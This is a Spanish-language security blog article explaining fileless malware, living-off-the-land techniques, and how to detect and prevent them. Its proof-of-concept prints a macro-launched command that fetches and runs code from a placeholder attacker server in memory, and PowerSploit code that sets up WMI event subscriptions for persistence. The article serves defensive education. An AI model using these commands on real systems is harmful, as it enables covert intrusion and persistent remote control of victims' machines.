Es común asociar al malware con algún archivo que descargamos y ejecutamos de forma desapercibida. Si bien este concepto no está del todo equivocado, la realidad es que también nos podemos encontrar con malware que no requiere de ningún archivo en el sistema para realizar su actividad maliciosa. Este tipo de amenaza se conoce como fileless malware, un concepto que no es nuevo y que ha estado en uso desde principios de la década del 2000.

Los ataques de fileless malware hacen uso de herramientas y procesos propios del sistema operativo mediante una técnica conocida como “Living off the Land” o “Viviendo de la Tierra”, que le permiten llevar adelante su actividad maliciosa utilizando elementos preinstalados y sin droppear ejecutables adicionales en el sistema de la víctima. Dicho de otra forma, utiliza funcionalidades del sistema operativo en contra del propio usuario. Esto dificulta su detección, ya que el código malicioso se ejecuta a través de procesos legítimos.

¿En qué consiste la técnica “living off the land”?

Se trata de una técnica que emplean los cibercriminales con conocimientos más avanzados para que sus actividades sean más difíciles de detectar en el equipo o red de la víctima, ya que les permite, entre otras cosas, evadir múltiples controles de seguridad.

Consiste en cargar y ejecutar un código malicioso enteramente desde la memoria del equipo sin afectar el sistema de archivos. En consecuencia, genera nulos o escasos artefactos forenses que se puedan analizar posteriormente.

Es importante aclarar que ésta es una técnica de post-explotación; es decir, que la víctima primero tiene que haber dejado ingresar el código malicioso a su sistema de algún modo. Por ejemplo, al abrir un archivo de Microsoft Office con una macro maliciosa embebida o un documento PDF que contenga código javascript malicioso. Estos son vectores de infección muy comunes, pero existen muchos otros.

También existe la posibilidad de que la amenaza sea 100% fileless si el atacante aprovecha alguna vulnerabilidad grave en el sistema y el malware se carga en memoria únicamente a través de paquetes de red. Esto se ha visto, por ejemplo, con el backdoor SMB/Exploit.DoublePulsar, que aprovecha una vulnerabilidad en el protocolo SMB 1.0. Una amenaza que sigue activa en LATAM actualmente.

La dificultad para establecer persistencia

Ahora bien, los atacantes tienen un inconveniente. La memoria RAM es volátil y se elimina, por ejemplo, al reiniciar el equipo. Esto obliga, en la mayoría de los casos, a que los cibercriminales establezcan algún mecanismo de persistencia para su malware. Si bien algunos son más sofisticados que otros, en todos los casos podremos encontrar algún rastro de esta actividad que nos permitirá determinar su presencia en el equipo.

Además del caso mencionado de DoublePulsar, esta técnica la hemos visto recientemente en la campaña de malware "Operation Ghost" desarrollado por el grupo "The Dukes", también conocidos como APT #29. Esta investigación fue publicada por investigadores de ESET en octubre de este año.  Los fileless backdoors utilizados por esta organización dedicada al ciberespionaje son RegDuke y POSHSPY.

Más adelante veremos cómo podemos utilizar las mismas herramientas que utilizan los atacantes para auditar nuestra red y defendernos de este tipo de amenazas.

¿Qué herramientas utilizan para realizar ataques de fileless malware?

Como dijimos antes, los atacantes "viven de la tierra", ya que las herramientas que veremos a continuación están instaladas y habilitadas por defecto en cualquier equipo que utilice Windows como sistema operativo. Por este motivo, no tendrán la necesidad de utilizar herramientas propias. Cada una de las herramientas que mencionamos a continuación permiten realizar una variedad de tareas legítimas, como puede ser, por ejemplo, la configuración y administración de equipos o redes enteras.

  • Powershell: es un poderoso lenguaje de scripting, además de un shell de línea de comando. Permite ejecutar comandos y realizar un sin fin de actividades, como descargar archivos de Internet, enviar correos, modificar prácticamente cualquier configuración del equipo, ya sea local o remoto, manipular aplicaciones de Windows o utilizar cualquiera de las herramientas que se detallan más abajo en esta lista. Además, nos permite desarrollar nuestros propios módulos o instalar módulos de terceros. Es por esta enorme versatilidad que se trata de una herramienta muy atractiva tanto para administradores de red como para actores maliciosos.
  • Windows Management Instrumentation (WMI) o Common Information Model (CIM): para explicar muy brevemente, CIM es un esquema desarrollado por DMTF que los desarrolladores de software pueden seguir para favorecer la interoperabilidad entre cualquier sistema, red, aplicación o servicio. WMI es la versión de Microsoft del esquema CIM y su mayor diferencia es que es propietaria y solo puede ser utilizado en sistemas operativos Windows. Lo que cabe destacar es que Windows soporta ambos esquemas y que su uso puede ser intercambiable. La principal función de ambos es la de crear, controlar, modificar o eliminar objetos que representan tanto software como hardware y sus estados y configuraciones.
  • .NET Framework o .NET Core:  es la plataforma sobre la cual está construido Powershell. Facilita interactuar con objetos WMI, CIM, COM, DCOM y otros a través de sus librerías.
  • Registro de Windows: base de datos que contiene configuración del sistema y de las aplicaciones.

Veamos un ejemplo

Este ejemplo teórico utiliza Powershell como mecanismo de post-explotación y ejecución remota de código, y suscripciones WMI como mecanismo de persistencia.

El objetivo de este ejemplo, que no está basado en ningún malware en particular pese a que los ejemplos abundan, es que se vea con claridad cómo funciona. Se trata de una prueba de concepto de lo que un atacante podría realizar en el sistema utilizando estas técnicas. Por motivos de simpleza, el código no está ofuscado, aunque si se tratase de un escenario real, casi sin dudas lo estaría.

1. La víctima ejecuta un documento de Office con una macro embebida. La macro llama a la ejecución de dos instancias de CMD de la siguiente manera:

cmd/c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://bit.ly/<ServerAtacante>&& FOR /L %iIN (1,1,1000) DO echo"

cmd/c "powershell -Exec Bypass IEX (Get-WmiObjectWin32_Process -Filter \^"Name = 'cmd.exe' AND CommandLinelike '%WINDOWS_DEFENDER_UPDATE%'\^").CommandLine.Split([char]38)[2].SubString(5)"

 

2. En este caso, esta es la única instancia en la que el atacante necesita utilizar archivos. A partir de ahora, todo lo que sigue transcurrirá desde la memoria. Estos dos comandos crean dos nuevas instancias de cmd.exe. La segunda, hace una consulta del contenido descargado del servidor del atacante y lo ejecuta en powershell directamente desde la memoria. Si se analizan con ProcMon, estos dos procesos no tendrán relación entre sí.

3. El código descargado desde Internet podría ser algo como lo siguiente:

$ElevatedTriggerRemoval = {
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Updater'"| Remove-WmiObject
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Updater'" | Remove-WmiObject
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject
            }

            switch ($ElevatedPersistenceOption.Trigger)
            {
                'AtStartup'
                {
                    $ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
                }

                default
                {
                    throw 'Invalid elevated persistence options provided!'
                }
            }
        } # Extracto del módulo de PowerSploit "Add-Persistance"

 

4. El código crea un Filtro de Evento WMI (una condición): es muchísimo más específico que el programador de tareas de Windows. El evento podría ser: el inicio del sistema, el inicio de sesión de un usuario en particular, la ejecución de un archivo, o prácticamente cualquier cosa que uno se pueda imaginar, ya que la mayoría de las acciones que se realizan en Windows generan eventos WMI.

El código también crea un Consumidor de Evento (lo que se ejecuta): esto es lo que efectivamente se va a realizar cuando se cumpla una condición, la aplicación que determinemos va a "consumir" el evento y actuar en consecuencia. Puede contener el código de un script de Powershell malicioso ofuscado que, a su vez, descargue más código desde Internet directamente a la memoria del equipo.

Además, crea una Unión (relaciona un Filtro de Evento con un Consumidor de Evento): es el último paso necesario para que la tarea se realice. Especifica qué filtro de evento dispara qué consumidor de evento.

5. Habiendo hecho esto, el atacante ahora tiene un mecanismo de persistencia. La suscripción WMI podría contener código que descargue, a su vez, más código desde un servidor que él controla y éste se ejecutará periódicamente. Además, tendrá la posibilidad de modificarlo oportunamente, sin la necesidad de hacer cambios en el equipo de la víctima.

6. Entonces, si además utiliza el payload para eliminar el archivo de Office que dio inicio al ataque (o si nos olvidamos por un segundo de su existencia) el único artefacto forense que queda en el equipo son las suscripciones WMI.

¿Cómo detectar una infección de fileless malware?

La respuesta depende del tipo de malware y de la política de logs y auditoría que se haya adoptado inicialmente. Por lo general, si el malware ha tratado de generar persistencia en el equipo, lo más probable es que haya creado entradas en el registro, tareas programadas o suscripciones WMI que pueden ser identificables. Pero, si el malware no estableció persistencia puede que no sea posible detectarlo, salvo que se haya contado con una generación de logs correspondientes previo al incidente.

Para casos de malware más avanzado como DoublePulsar, incluso generando logs la detección puede ser difícil, ya que la memoria afectada pertenece al kernel de Windows y las aplicaciones no serán capaces de detectar esta actividad. Por este motivo el análisis del tráfico de red y prevenir la infección siguiendo los pasos que mencionaremos más adelante es fundamental.

Las recomendaciones generales, son:

  • Generar logs exhaustivos de la utilización de Powershell. Esta funcionalidad está activada por defecto en la versión 5 y posteriores. Buscar entradas sospechosas como la siguiente:

Ejemplo de un log de evento malicioso

  • Controlar el repositorio WMI para encontrar suscripciones sospechosas utilizando Powershell. Ejemplo:
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

 

Suscripción WMI maliciosa

Podemos inclusive crear nuestras propias suscripciones WMI defensivas que nos alerten cada vez que se crean nuevas suscripciones.

  • Muchas de éstas tareas se pueden automatizar. Sysmon de Sysinternals es una buena opción para uso personal. Organizaciones más grandes deberían considerar la utilización de un sistema EDR dado el volumen de la información que se genera. En ambos casos, la clave será una buena política de generación de logs y auditoría.

¿Cómo evitar la infección de fileless malware?

  • No abrir adjuntos que nos hayan llegado por correo si la fuente no es de confianza.
  • Deshabilitar la ejecución de macros de manera automática en Office, ya que es un mecanismo común de propagación. Las macros se pueden deshabilitar globalmente vía Group Policy.
  • Utilizar soluciones de seguridad que analicen el tráfico de red como ESET Network Attack Prevention.
  • Utilizar soluciones de seguridad que analicen el comportamiento sospechoso en la memoria como ESET Advanced Memory Scanner. Estas soluciones son capaces de identificar malware que reside en memoria.
  • Mantener el sistema operativo y las aplicaciones con sus actualizaciones de seguridad al día.
  • Utilizar defensa en capas (Anti-Spam y NIDS son algunas recomendaciones).

Quizás te interese: un análisis de cómo es utilizado PowerShell por Turla